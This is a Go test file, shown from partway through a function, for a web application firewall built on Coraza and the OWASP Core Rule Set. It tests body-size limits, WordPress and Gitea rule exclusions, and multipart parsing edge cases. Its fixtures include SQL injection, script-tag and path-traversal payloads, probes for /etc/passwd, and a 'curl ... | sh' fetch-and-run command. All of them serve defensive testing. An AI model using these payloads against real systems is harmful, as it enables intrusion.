// A post's slug and a plugin to install skip only 932120 and 932260.
|
|
post := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}}
|
|
install := request{http.MethodPost, wpAjax, []string{formData}}
|
|
|
|
for _, v := range wordpressWords() {
|
|
want := coreruleset.Result{}
|
|
if v.rule == 930120 || v.rule == 932250 {
|
|
want = matched(v.rule)
|
|
}
|
|
|
|
slug := fmt.Sprintf(`{"slug":%q}`, v.value)
|
|
wantBody(t, crs, post, slug, want, slug)
|
|
|
|
plugin := "action=install-plugin&slug=" + url.QueryEscape(v.value)
|
|
wantBody(t, crs, install, plugin, want, plugin)
|
|
}
|
|
|
|
comment := request{http.MethodPost, wpComment, []string{formData}}
|
|
elsewhere := request{http.MethodPost, "/example/things", []string{formData}}
|
|
|
|
// A commenter's address skips the two rules that refused an address.
|
|
for _, v := range []struct {
|
|
address string
|
|
rule int
|
|
}{
|
|
{"http://blog.example/.htaccess", 930120},
|
|
{"http://blog.example/powershell-basics/", 932120},
|
|
} {
|
|
body := "url=" + url.QueryEscape(v.address)
|
|
wantBody(t, crs, comment, body, coreruleset.Result{}, body)
|
|
wantBody(t, crs, elsewhere, body, matched(v.rule), body)
|
|
|
|
author := "author=" + url.QueryEscape(v.address)
|
|
wantBody(t, crs, comment, author, matched(v.rule), author)
|
|
}
|
|
|
|
// The rules on Unix commands keep it.
|
|
wantBody(t, crs, comment, "url=python3", matched(932260), "url=python3")
|
|
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
|
}
|
|
|
|
func TestWordPressPasswordsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
|
|
|
wantRandomPasswordsPass(t, signIn, "pwd")
|
|
wantPasswordAttacksPass(t, signIn, "pwd")
|
|
wantPasswordAttacksRefused(t, signIn, "pwd")
|
|
}
|
|
|
|
func TestWordPressPasswordFieldsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
pass := []string{"pass1", "pass2"}
|
|
|
|
wantPasswordFieldsPass(t, []passwordFields{
|
|
{wpLogin + "?action=resetpass", formData, pass},
|
|
{wpLogin + "?action=postpass", formData, []string{"post_password"}},
|
|
{"/wp-admin/profile.php", formData, pass},
|
|
{"/wp-admin/user-edit.php?user_id=2", formData, pass},
|
|
{"/wp-admin/user-new.php", formData, pass},
|
|
{"/wp-json/wp/v2/users", jsonBody, []string{passwordKey}},
|
|
{"/wp-json/wp/v2/users/me", formData, []string{passwordKey}},
|
|
{"/index.php?rest_route=/wp/v2/users/2", jsonBody, []string{passwordKey}},
|
|
})
|
|
}
|
|
|
|
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
offREST = "/api/posts/1"
|
|
length = "Content-Length: 2"
|
|
)
|
|
|
|
crs := readingBodiesUpTo64K(t)
|
|
saving := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}}
|
|
|
|
content := `{"content":"` + wordpressBlock + `"}`
|
|
wantBody(t, crs, saving, content, coreruleset.Result{}, content)
|
|
|
|
// The other fields of the post keep the rule, and so does the same field
|
|
// off the REST API.
|
|
title := `{"title":"` + wordpressBlock + `"}`
|
|
wantBody(t, crs, saving, title, matched(941180), title)
|
|
wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content,
|
|
matched(941180), content)
|
|
|
|
// The header X-HTTP-Method-Override is refused off the REST API.
|
|
defaults := atDefaults(t)
|
|
wantResult(t, defaults,
|
|
request{http.MethodPost, wpPost, []string{jsonBody, length, wordpressOverride}},
|
|
coreruleset.Result{})
|
|
wantResult(t, defaults,
|
|
request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}},
|
|
matched(920450))
|
|
|
|
// Signing in: pwd alone skips the list of system files.
|
|
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
|
|
|
body := "log=a&pwd=b%20%2Fetc%2Fhosts"
|
|
wantBody(t, crs, signIn, body, coreruleset.Result{}, body)
|
|
|
|
body = "log=b%20%2Fetc%2Fhosts&pwd=a"
|
|
wantBody(t, crs, signIn, body, matched(930120), body)
|
|
}
|
|
|
|
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
|
|
const bodyLimit = 8 << 10
|
|
|
|
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
|
const (
|
|
formData = "Content-Type: application/x-www-form-urlencoded"
|
|
multipart = "Content-Type: multipart/form-data; boundary=b"
|
|
jsonBody = "Content-Type: application/json"
|
|
xmlBody = "Content-Type: application/xml"
|
|
)
|
|
|
|
// injection is an SQL injection, which rule 942100 matches.
|
|
const injection = "1' OR '1'='1"
|
|
|
|
// scriptTag is a script injection, not escaped.
|
|
const scriptTag = "<script>alert(1)</script>"
|
|
|
|
// pathTraversal is a path traversal, not escaped.
|
|
const pathTraversal = "../../etc/passwd"
|
|
|
|
// readingBodies returns the Core Rule Set as sww runs it by
|
|
// default, but reading bodies up to bodyLimit.
|
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
})
|
|
}
|
|
|
|
// post is a POST request for / with a body of the type contentType, a
|
|
// Content-Type header, gives, and headers besides.
|
|
func post(contentType string, headers ...string) request {
|
|
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
|
|
}
|
|
|
|
// field is a part of a multipart body: the field name, holding value.
|
|
func field(name, value string) string {
|
|
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
|
|
value + "\r\n"
|
|
}
|
|
|
|
// end ends a multipart body.
|
|
const end = "--b--\r\n"
|
|
|
|
// padded returns head and tail with as many a's between them as make n
|
|
// bytes in all.
|
|
func padded(head, tail string, n int) string {
|
|
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
|
|
}
|
|
|
|
// wantBody checks what crs finds in r with body, and that what it read of
|
|
// body is read.
|
|
func wantBody(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
|
|
want coreruleset.Result,
|
|
read string,
|
|
) {
|
|
t.Helper()
|
|
|
|
got, gotRead := inspectBody(t, crs, r, body)
|
|
if !reflect.DeepEqual(got, want) || gotRead != read {
|
|
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
|
|
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
|
|
want, len(read))
|
|
}
|
|
}
|
|
|
|
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
off, on := atDefaults(t), readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, "q=" + url.QueryEscape(injection)},
|
|
{multipart, field("q", injection) + end},
|
|
{jsonBody, `{"q":"` + injection + `"}`},
|
|
{xmlBody, "<q>" + injection + "</q>"},
|
|
} {
|
|
wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "")
|
|
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
|
|
}
|
|
}
|
|
|
|
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
pad := strings.Repeat("a", bodyLimit)
|
|
|
|
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
|
{
|
|
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
|
|
"pad=" + pad + "&q=" + url.QueryEscape(injection),
|
|
},
|
|
{
|
|
multipart, field("q", injection) + field("pad", pad) + end,
|
|
field("pad", pad) + field("q", injection) + end,
|
|
},
|
|
} {
|
|
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
|
tc.attackFirst[:bodyLimit+1])
|
|
wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{},
|
|
tc.attackLast[:bodyLimit+1])
|
|
}
|
|
|
|
// To the byte: a system file's path is found when it ends at the limit,
|
|
// and not when its last letter is past it, which is still read.
|
|
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
|
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
|
|
|
|
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
|
wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit)
|
|
}
|
|
|
|
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, head, tail string }{
|
|
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
|
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
|
} {
|
|
fits := padded(tc.head, tc.tail, bodyLimit)
|
|
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
|
|
|
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
|
wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger)
|
|
}
|
|
}
|
|
|
|
func TestOtherBodiesAreNotRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// Read as form data, which the Core Rule Set does with a body of a type
|
|
// it does not know, this would be an SQL injection.
|
|
body := "q=" + url.QueryEscape(injection)
|
|
|
|
for _, header := range []string{
|
|
"Content-Type: application/octet-stream",
|
|
"Content-Type: text/plain",
|
|
"Content-Type: application/x-git-receive-pack-request",
|
|
} {
|
|
wantBody(t, crs, post(header), body, coreruleset.Result{}, "")
|
|
}
|
|
}
|
|
|
|
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const gzip = "Content-Encoding: gzip"
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, "a=1"},
|
|
{multipart, field("a", "1") + end},
|
|
{jsonBody, `{"a":1}`},
|
|
{xmlBody, "<a>1</a>"},
|
|
} {
|
|
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
|
|
}
|
|
|
|
// Whatever its size: a JSON body larger than the limit is not read, but
|
|
// Content-Encoding on it is refused all the same.
|
|
larger := strings.Repeat("a", bodyLimit+1)
|
|
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
|
|
|
// It is allowed on a body of any other kind, and on every body while no
|
|
// body is read.
|
|
fetch := "Content-Type: application/x-git-upload-pack-request"
|
|
wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "")
|
|
wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "")
|
|
}
|
|
|
|
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
local := url.QueryEscape("http://127.0.0.1:52341/")
|
|
|
|
for _, tc := range []struct {
|
|
body string
|
|
want coreruleset.Result
|
|
}{
|
|
{"path=.gitignore", coreruleset.Result{}},
|
|
{"q=.gitignore", matched(930120)},
|
|
{"redirect_uri=" + local, coreruleset.Result{}},
|
|
{"next=" + local, matched(931100, 934110)},
|
|
} {
|
|
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
|
|
}
|
|
|
|
body := field("path", ".gitignore") + end
|
|
wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body)
|
|
|
|
body = field("q", ".gitignore") + end
|
|
wantBody(t, crs, post(multipart), body, matched(930120), body)
|
|
|
|
// A JSON body's field is named by its path, here json.path, and is
|
|
// checked.
|
|
body = `{"path":".gitignore"}`
|
|
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
|
|
}
|
|
|
|
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A comment that shows a shell command.
|
|
const text = "Try `curl -s https://example.org | sh` first."
|
|
|
|
comment := "content=" + url.QueryEscape(text)
|
|
wantBody(t, crs, post(formData), comment, matched(932235), comment)
|
|
|
|
// An attachment named like a log file.
|
|
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
|
|
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
|
|
}
|
|
|
|
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, tc := range []struct{ contentType, body string }{
|
|
{"application/atom+xml", "<q>" + injection + "</q>"},
|
|
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
|
|
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
|
|
{"text/json", `{"q":"` + injection + `"}`},
|
|
} {
|
|
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
|
|
matched(942100), tc.body)
|
|
}
|
|
}
|
|
|
|
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// An end tag after the root element, past which Coraza reads none of
|
|
// the body, while an app may still read the attack before it.
|
|
body := "<q>" + injection + "</q></r>"
|
|
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
|
|
|
|
// The multipart bodies Coraza cannot parse fail its strict checks too:
|
|
// one whose type names its boundary twice, and one with a part header
|
|
// that has no colon, before the attack. They do so padded past the
|
|
// limit too, which cuts them in the padding.
|
|
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
|
pad := field("pad", strings.Repeat("a", bodyLimit))
|
|
|
|
for _, tc := range []struct{ header, head string }{
|
|
{multipart + "; boundary=c", ""},
|
|
{multipart, noColon},
|
|
} {
|
|
body = tc.head + field("q", injection) + end
|
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
|
|
|
|
body = tc.head + field("q", injection) + pad + end
|
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
|
body[:bodyLimit+1])
|
|
}
|
|
}
|
|
|
|
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The limit falls in the middle of the name of the second part's
|
|
// header, which Coraza, reading up to the limit, cannot tell from a
|
|
// header without a colon.
|
|
cut := "--b\r\nContent-Di"
|
|
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
|
|
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
|
|
|
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
|
|
body[:bodyLimit+1])
|
|
}
|
|
|
|
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
|
|
|
|
// The limit falls between the carriage return and the line feed that
|
|
// end the second part's header line, and then between those that end
|
|
// the empty line after it. Coraza, reading up to the limit, takes the
|
|
// line ending in a lone carriage return for a malformed header.
|
|
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
|
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
|
|
body := first + field("q", "1") + end
|
|
|
|
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
|
body[:bodyLimit+1])
|
|
}
|
|
}
|
|
|
|
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
|
|
// system's temporary directory, for the whole test process.
|
|
func TestCorazaWritesNoFile(t *testing.T) {
|
|
// The system's temporary directory is one that does not exist, so that
|
|
// Coraza could write nothing there: built without no_fs_access, it
|
|
// refuses to load, and could not write a file of a multipart body.
|
|
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
|
|
|
|
// The test loads its own Core Rule Set, since loading is part of what
|
|
// it checks.
|
|
crs, err := coreruleset.New(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
})
|
|
if err != nil {
|
|
t.Fatalf("load the Core Rule Set: %v", err)
|
|
}
|
|
|
|
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
|
|
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
|
|
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
|
}
|
|
|
|
func TestBodyLimitOf1GLoads(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
|
|
if err != nil {
|
|
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
|
}
|
|
}
|